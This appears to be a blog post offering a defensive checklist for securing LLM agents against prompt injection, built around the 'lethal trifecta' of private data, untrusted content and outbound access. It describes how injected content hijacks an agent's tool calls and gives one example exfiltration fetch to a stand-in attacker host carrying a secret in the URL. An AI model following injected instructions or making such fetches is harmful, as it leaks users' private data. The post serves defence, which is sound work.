← All posts
LLM security

How to secure AI agents: a practical checklist

Nine controls a team can run against an LLM agent this week, each with what it stops, how to verify it holds, and what it costs you to adopt.

Securing an AI agent comes down to one question asked per tool: if the model is fully compromised by something it read, what can it do with this? Everything below makes that answer smaller. If you searched for how to secure AI agents, this is the list I'd run against yours before it touches production, in this order.

Why assume full compromise? Because, as the prompt injection post explains, the model cannot reliably tell your instructions from ones buried in content it reads. The controls that matter are the ones that still hold when it follows the wrong ones.

How to secure AI agents: start with the inventory

1. List every tool and classify what it reaches. Simon Willison's lethal trifecta names three capabilities: access to private data, exposure to untrusted content, and a way to communicate with the outside world. One row per tool, one column per capability. A mailbox reader is private data and untrusted content in a single call; a URL fetcher is untrusted content and outside world. If one run can touch all three columns you have an exfiltration path, and the lethal trifecta post shows how it gets used.

Stops: nothing alone. It tells you where the other eight controls need to land. Verify: someone who did not build the agent can rebuild the table from the tool definitions. Cost: an hour.

Shrink what each tool can do

2. Least privilege per tool, read-only by default. The agent that summarises tickets does not need the scope that closes them. Give every tool its own credential with the narrowest scope the vendor offers, and make write access something a person has to argue for. Where the API has no fine-grained scopes, put the tool behind a thin proxy that exposes only the one operation you need.

Stops: blast radius. A hijacked read-only tool can read, which is bad, but cannot send, pay or delete. Verify: from a shell, with no model involved, try the operations each token should not be able to do. Cost: more credentials to rotate, a proxy for the awkward APIs.

3. Scoped, short-lived tokens, never the user's session. The agent acts with a token minted for this task and this user, not an admin key in an environment variable. Tokens are text and the model emits text, so one will leak into a trace eventually; it should be worth little by then.

Stops: a leaked credential becoming persistent access. Verify: grep your traces for anything shaped like a bearer token and check its expiry. Cost: a token-issuing step most teams already have for humans and forget to apply to agents.

Split the reader from the actor

4. Separate the untrusted-content reader from the tool-holder. This is the control I'd fight hardest for, and the one teams skip because it costs latency. Two model calls. The first reads the email, page or PDF with no tools at all and produces a structured summary. The second holds the tools and sees only that summary, after your code has validated it against a schema.

The trust boundary now lives in your architecture, not inside the model. Injected text can still corrupt the summary, so this is not a cure, but a schema-checked summary is a far narrower channel than raw prose, and the reader has nothing to call even when it is fully persuaded.

Stops: the direct line from attacker-controlled text to a tool call with attacker-chosen arguments. Verify: plant a benign marker in the content (item 9) and confirm it cannot reach a tool argument. Cost: a second inference per task and a schema to maintain.

Gate the irreversible and watch the exits

5. Human approval for send, pay, delete. Anything you cannot undo gets a confirmation step showing the full arguments to a person: the recipient, the amount, the path. Reversible actions can run unattended. A draft can be deleted; an email cannot be unsent.

Stops: the final step of almost every real agent attack. Verify: attempt each irreversible action through the agent and confirm it blocks. Cost: friction, which is the point, and an argument about which actions count. Have it before an incident forces it.

6. Egress allowlist. The agent's network reaches the hosts its tools need and nothing else, enforced at the network layer, not in the prompt. If the agent can be talked into fetching https://attacker.example/?q=<secret>, the secret leaves in the URL. If a firewall rule drops the fetch, it does not.

Stops: the outside-world leg of the trifecta for any destination you did not choose. Verify: ask the agent to fetch an unlisted host and watch it fail at the network. Cost: an allowlist to maintain.

7. Log every tool call with its arguments. Tool name, full arguments, user, run, result. Redact secrets at write time and keep everything else. Without this you cannot answer the only post-incident question that matters: what did it actually do?

Stops: nothing in real time; it is how you detect items 2 to 6 failing. Verify: reconstruct yesterday's run from the log alone. Cost: storage, redaction, and logging before the call rather than after it succeeds.

Treat the model's output as hostile

8. Output handling, rate limits, budgets. Everything the model emits is untrusted input to whatever consumes it next. Encode it before a page, parameterise it before a query, validate it before a shell. A model rendering attacker-chosen markdown into your UI is stored cross-site scripting with a new name. Cap tool calls and tokens per run so a looping or hijacked agent burns a bounded amount before it stops.

Stops: the agent becoming an injection vector into your own systems, and runaway spend. Verify: have the model emit a benign script tag and confirm it renders as text. Cost: the encoding discipline you already owe every other input, plus a kill switch.

ControlStopsCosts
Inventory and classifyNothing alone; locates the riskOne hour
Least privilege, read-only defaultBlast radiusCredential sprawl, proxies
Scoped short-lived tokensPersistent access after a leakToken minting step
Reader and actor splitText to tool-call pathLatency, a schema
Human approval on irreversibleThe final step of most attacksFriction
Egress allowlistExfiltration to unchosen hostsAllowlist upkeep
Full tool-call loggingBlind incident responseStorage, redaction
Output handling, budgetsAgent as injection vector, runaway spendEncoding discipline
Benign-marker testingShipping an untested channelA test suite

Test before you ship

9. Benign-marker injections in the test suite. Plant a harmless unique string in each kind of content the agent reads, with an instruction to echo it or pass it to a tool. If CANARY-ORCHID-7f3a turns up in a tool argument, the channel is open and you have proof. Run it on every ingestion path and every time the prompt changes.

I'd rather have this test and a weak prompt than a clever prompt and no test. Prompt wording is theatre unless something measures it.

Not covered here: model alignment, vendor-side controls, or anything that depends on the model refusing. I don't trust refusals as a control and I don't think you should. Run the inventory this afternoon, score the result with the AI Audit, and start with whichever row has all three trifecta columns ticked.

Frequently asked questions

Is a good system prompt enough to secure an agent?

No. The system prompt is a statistical preference, not an enforcement mechanism, and every item above exists because the preference sometimes loses. Write a good prompt anyway, then assume it fails and check what the agent can do when it does.

Does splitting the reader from the actor stop prompt injection?

It narrows it. Injected text can still shape the summary the actor sees, so it is not a cure. What it removes is the direct route from attacker-written prose to a tool call, which is where almost all the damage happens.

Which control should a small team do first?

The inventory, then least privilege. Both are cheap and reversible, and together they usually cut the dangerous surface more than any detection would. Human approval on irreversible actions comes next.

How do I know if my agent has already been injected?

Only from the logs, which is why item 7 is on the list. Search tool-call arguments for things the user did not plausibly ask for: unfamiliar recipients, URLs with long query strings, deletes with no matching request. If you are not logging arguments, you cannot know.

LLM securityagents
Private data + untrusted content + a way out = a leakLLM security

The lethal trifecta — why your agent is one email away from exfiltration

An LLM agent becomes dangerous the moment it holds three things at once: private data, exposure to untrusted content, and a way to talk to the outside world. Here is why that combination leaks, and what to actually remove.

LLM security

What is prompt injection, really

Prompt injection explained by mechanism for the developer who just shipped an LLM feature. Direct vs indirect, why filters are not a boundary, and what actually reduces the risk.

A copy now exists somewhere you do not runLLM security

Everything you paste into an LLM is a disclosure

Not necessarily a breach, and usually not training data — but a copy of whatever you pasted now exists somewhere you do not run. The risk is almost never the conversation. It is the twelve lines of config you pasted underneath it.